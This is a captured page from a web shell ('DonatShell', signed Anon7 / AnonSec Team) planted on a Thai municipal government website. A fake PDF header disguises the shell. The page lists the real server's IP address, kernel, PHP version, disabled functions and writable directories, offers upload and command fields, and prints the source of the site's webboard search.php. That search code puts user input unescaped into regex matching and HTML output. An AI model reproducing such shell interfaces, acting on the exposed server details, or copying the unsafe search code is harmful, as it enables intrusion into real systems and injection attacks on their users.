%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/search.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ  99/9  1 Ӻ 觢ҹ  ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #3CFFFF;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
 <!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons' 
async='async"  type='text/javascript'> -->
   </script>
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">




<!-- content -->
<div align="center">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center" valign="top"><tr>
        <td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
      </td>
    </tr>
    <tr>
      <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
          <TABLE width="750" border=0 cellpadding=0 cellspacing=0 >
            <TR>
              <TD class="title2"><div align="center"><img src="../images/botton/borad.png" width="640" height="78"></div></TD>
            </TR>
            <TR> 
              <TD class="styles"><div align="center"></div></TD>
            </TR>
            <TR> 
              <TD height="40" class="styles2" ><div align="left">&nbsp;&nbsp;&nbsp; 
                  <a href="webboard.php" class="styles2">[ Ѻ˹ҡдҹǹ</a> 
                  | <a href="new.php" class="styles2">駡з</a> ]</div></TD>
            </TR>
            <TR> 
              <TD class="styles2" ><div align="center"> 
                  <?
	include("./config.inc.php");	//駤ҵҧͧǻ
	include("./function.php");		//ѧ蹷ǻ

	if (empty($sequence)) { $selected[0]=selected; }
	if ($sequence == 1) { $selected[1]=selected; }
	if ($sequence == 2) { $selected[2]=selected; }

	if (empty($page)){
		$page=1;
	}
	
	$stop = $page * $list_page;
	$start = $stop - $list_page;


	if(file_exists($fileQuestion)) {
		$question = file($fileQuestion);

		$count = 0;  //繵 ҵ˹ ͧ Array
		for ($i=0 ; $i<sizeof($question); $i++) {

			// ¡к÷Ѵ ͡繿Ŵ
			$split = explode("|X|",$question[$i]);

			// ҨҡǢͤӶ
			if( ereg("($search)",$split[0]) ) {
				$ArrayQ_Discover[$count] = $question[$i];  //纤Ӷ鹾ŧ Array
				$count++; 
			} //  if

			// ҨҡӶ
			if( ereg("($search)",$split[1]) ) {
				$split[1] = eregi_replace($search,"<b> $search </b>",$split[1]);  // ӵ˹ӷͧä
				$ArrayQ_Discover[$count] = "$split[0]|X|$split[1]|X|$split[2]|X|$split[3]|X|$split[4]|X|$split[5]|X|$split[6]|X|";  //纤Ӷ鹾ŧ Array
				$count++; 
			} //  if

			// Ҩҡͼ駤Ӷ
			if( ereg("($search)",$split[2]) ) {
				$ArrayQ_Discover[$count] = $question[$i];  //纤Ӷ鹾ŧ Array
				$count++; 
			} //  if

		} // for i

		
		// § ( ѹ ) դͺ
		if($sequence==1){
			for ($i=0 ; $i<(sizeof($ArrayQ_Discover)-1); $i++) {
				for ($j=0 ; $j<(sizeof($ArrayQ_Discover)-1); $j++) {

					// ¡к÷Ѵ ͡繿Ŵ
					$split = explode("|X|",$ArrayQ_Discover[$j]);
					$split1 = explode("|X|",$ArrayQ_Discover[$j+1]);

					if($split1[6] >= $split[6]){
						$swap = $ArrayQ_Discover[$j];
						$ArrayQ_Discover[$j] = $ArrayQ_Discover[$j+1];
						$ArrayQ_Discover[$j+1] = $swap;
					} // if
				} // for j
			} // for i
		} // if $sequence .. 1


		// §ӹǹͺ
		if($sequence==2){
			for ($i=0 ; $i<(sizeof($ArrayQ_Discover)-1); $i++) {
				for ($j=0 ; $j<(sizeof($ArrayQ_Discover)-1); $j++) {

					// ¡к÷Ѵ ͡繿Ŵ
					$split = explode("|X|",$ArrayQ_Discover[$j]);
					$split1 = explode("|X|",$ArrayQ_Discover[$j+1]);

					//========================================
					// ǹٻҹҨӹǹҪ ѹشͺӶ
					$fileVisitor = "./$dataDir/$split[0].dat";
					if(file_exists($fileVisitor)) {
						$lineVisitor = file($fileVisitor);
						// ¡к÷Ѵ ͡繿Ŵ
						$chkVisitor = explode("||",$lineVisitor[0]);
						$ReplyNum = $chkVisitor[0];	 //ӹǹͺӶ
					}
					$fileVisitor = "./$dataDir/$split1[0].dat";
					if(file_exists($fileVisitor)) {
						$lineVisitor = file($fileVisitor);
						// ¡к÷Ѵ ͡繿Ŵ
						$chkVisitor = explode("||",$lineVisitor[0]);
						$ReplyNum1 = $chkVisitor[0];	 //ӹǹͺӶ
					}//========================================

					if($ReplyNum1 >= $ReplyNum){
						$swap = $ArrayQ_Discover[$j];
						$ArrayQ_Discover[$j] = $ArrayQ_Discover[$j+1];
						$ArrayQ_Discover[$j+1] = $swap;

					} // if
				} // for j
			} // for i
		} // if $sequence .. 2


		// ʴӹǹͧз ..
  		echo "<table width='98%'><tr>";
		echo "<form method=post action=\"./search.php\" name=\"SearchForm\" onsubmit=\"return check();\">";
		echo "<td width='44%' class='styles3'>ŨҡäҤ \"<font color=red><b>$search</b></font>\" <BR>ͷӹǹ \"<font color=red><b>$count</b></font>\"з</td>\n";
		echo "<td width='56%' align=right valign=baseline class=styles3><img src=\"./pic/search.gif\"> ҤӶ "; 
		echo "<input type=text name=search size=20 maxlength=100 class=violet> ";
		echo "<input type=submit value='' name=submit class=BUTTON>";
		echo "</td>";
  		echo "</form></tr>";
		echo "</table>";

	// ҤҤӶӧҹ
	if($count>=1) {
		// ʴǢ͵ҧ ͧҧʴз
		echo "<TABLE align=center cellSpacing=0 cellPadding=0 width=98% border=0 bgcolor=#000000>";
		echo "<TR><TD>";
		echo "<table width='100%' border=0 cellpadding=3 cellspacing=1 align='center'>";
  		echo "<tr bgcolor=$headColor>";
		echo "<td align=center width=9% class=title3>Ǣͷ</td>\n";
		echo "<td align=center width=40% class=title3>Ǣ</td>\n";
		echo "<td align=center width=25% class=title3>駡з [ѹ]</td>\n";
		echo "<td align=center width=7% class=title3>ҹ</td>\n";
		echo "<td align=center width=19% class=title3>ͺ [ѹͺ]</td>\n";
  		echo "</tr>\n\n";

		for ($i=$start ; $i<$count ; $i++) {

			if($i<$stop){
				// ¡к÷Ѵ ͡繿Ŵ
				$split = explode("|X|",$ArrayQ_Discover[$i]);

				$numQuestion = $split[0]; // ŢӶŢ ٹ ˹
				$Question = $split[1];  //Ӷ
				$Name = $split[2]; //
				$Date = trim($split[3]); //ѹ
				$NumReplyDate = $split[6]; //ѹͺӶش (ԹҷչѺҡ .. 1900)
				
				// Ţ ٹ ˹ŢӶ 4 
				$No = sprintf("%04d",$split[0]);

				// Ҩӹǹͺ
				$countR = CountReply($numQuestion); // 繵Ǻ͡ըӹǹͺ褹

				// ǹٻҹҨӹǹҪ ѹشͺӶ
				$fileVisitor = "./$dataDir/$numQuestion.dat";
				if(file_exists($fileVisitor)) {
					$lineVisitor = file($fileVisitor);
					// ¡к÷Ѵ ͡繿Ŵ
					$chkVisitor = explode("||",$lineVisitor[0]);
					$Visitor = $chkVisitor[1];	 //ӹǹҪ
					$ReplyDate = $chkVisitor[2];	//ѹͺӶش
				}

				// ˹բͧҧ աѺ Ңͧ $rowColor  config
				$bgc = ($bgc==$rowColor1) ? $rowColor2 : $rowColor1; 

				//Ǩͺͺ ѹ
				if($Logtime<=($NumReplyDate+86400)) {  //86400 Թҷ = ˹ѹ
					echo "<tr bgcolor=$rowHiLight>\n";
					$chknew="<font color=666666>(ռͺѹ)</font>";
				}else {
					echo "<tr bgcolor=$bgc>\n";
					$chknew="";
				}

				// ˹Ҿ icon ˹Ţз
				// ҵͧ icon ͧӶ͵ ʴӹǹͺ ¹ŢͧФѺ (㹷͵ͺ 10 )
				if($ReplyDate!="-") {
					$icon = ($countR>=10) ? "<img src='./pic/hotfd.gif'>" : "<img src='./pic/openfd.gif'>"; 
				}
				else {
					$icon = ($Date==$mdate) ? "<img src='./pic/newfd.gif'>" : "<img src='./pic/closefd.gif'>"; 
				}

				// ʴӶ
				echo "<td align='center' class='styles1'> $icon <b>$No</b></td>\n";
				echo "<td><a href='./view.php?No=$numQuestion' target=\"_blank\" class=\"styles2\">$Question</a> $chknew</td>\n";
				echo "<td class='styles1'><b> $Name </b>[$Date]</td>\n";
				echo "<td align='center' class='styles1'>$Visitor </td>\n";
				if($countR!=0){
					echo "<td class='styles1'><b> $countR</b> [$ReplyDate]</td>\n";
				}else {
					echo "<td class='styles1'><b> $countR</b></td>\n";
				}
				echo "</tr>\n\n";
			} // end if

		} // end for

		// Դҧʴšз
		echo "</table>\n";
		echo "</TD></TR>\n";
		echo "</TABLE>\n";

		$rt = $count%$list_page;
		if($rt!=0) { 
			$totalpage = floor($count/$list_page)+1; 
		}
		else {
			$totalpage = floor($count/$list_page); 
		}

		echo "<table width='98%' border=0 cellpadding=2 cellspacing=0 align='center'><tr><td valign=top colspan='5' class='styles3'>\n";
		echo "<img src='./pic/newfd.gif'> =з \n";
		echo "<img src='./pic/closefd.gif'> =зѧդͺ \n";
		echo "<img src='./pic/openfd.gif'> =з١ͺ \n";
		echo "<img src='./pic/hotfd.gif'> =зش͵ \n";
		echo "</td><td align=right>\n";


		
		echo "</td></tr>\n\n";
		echo "<tr><td valign=top colspan='5' class='styles3'>\n";

		// ҧ link ˹ҡ͹-˹ҶѴ
		if($page>1 && $page<=$totalpage) {
			$prevpage = $page-1;
			echo "[<a href='./search.php?search=$search&page=$prevpage'>˹ҡ͹ = $prevpage</a>] \n";
		}

		echo "<font color=green>ѧʴ˹ҷ $page/$totalpage</font>\n";

		if($page!=$totalpage) {
			$nextpage = $page+1;
			echo " [<a href='./search.php?search=$search&page=$nextpage'>˹ҶѴ = $nextpage</a>]\n";
		}
		
		echo "<br>[ <b>";
		// ǹٻʴŢ˹ҷ
		for($i=1 ; $i<$page ; $i++) {
			echo "<a href='./search.php?search=$search&page=$i'>$i</a> \n";
		}
		echo "<font   color=red>$page</font> \n";
		for($i=$page+1 ; $i<=$totalpage ; $i++) {
			echo "<a href='./search.php?search=$search&page=$i'>$i</a>\n";
		}
		echo "</b> ]</td></tr></table>\n\n";
	} // ǹʴӶ

	// Ҥ辺
	else {
		echo "</table>"; // Դҧͧͤ [ 駡з | Ѻ˹á ] ᷡ html
		echo "<br><br><font color=red  ><b>\n"; 
		echo "<p align=center>辺ŷͧäҤѺ<br></p></b>\n";
		echo "</font> <br><br>\n\n";
	}
} 

//  ǢͤӶ ӵ
else {
	echo "</table>"; // Դҧͧͤ [ 駡з | Ѻ˹á ] ᷡ html
	echo "<br><br><font color=red  ><b>\n"; 
	echo "<p align=center>ö ͧҡѧõ駤ӶѺ<br></p></b>\n";
	echo "</font> <br><br>\n\n";
}

?>
                </div></TD>
            </TR>
            <TR> 
              <TD class="styles2" ><div align="center"> 
                  <script language="JavaScript">
function check()
{
      var v1 = document.SearchForm.search.value;
        if ( v1.length==0)
           {
           alert("سһ͹ӷͧä");
           document.SearchForm.search.focus();
           return false;
           }
		 else
           return true;
}
</script>
                </div></TD>
            </TR>
          </TABLE>
          <!-- InstanceEndEditable --></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>








<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team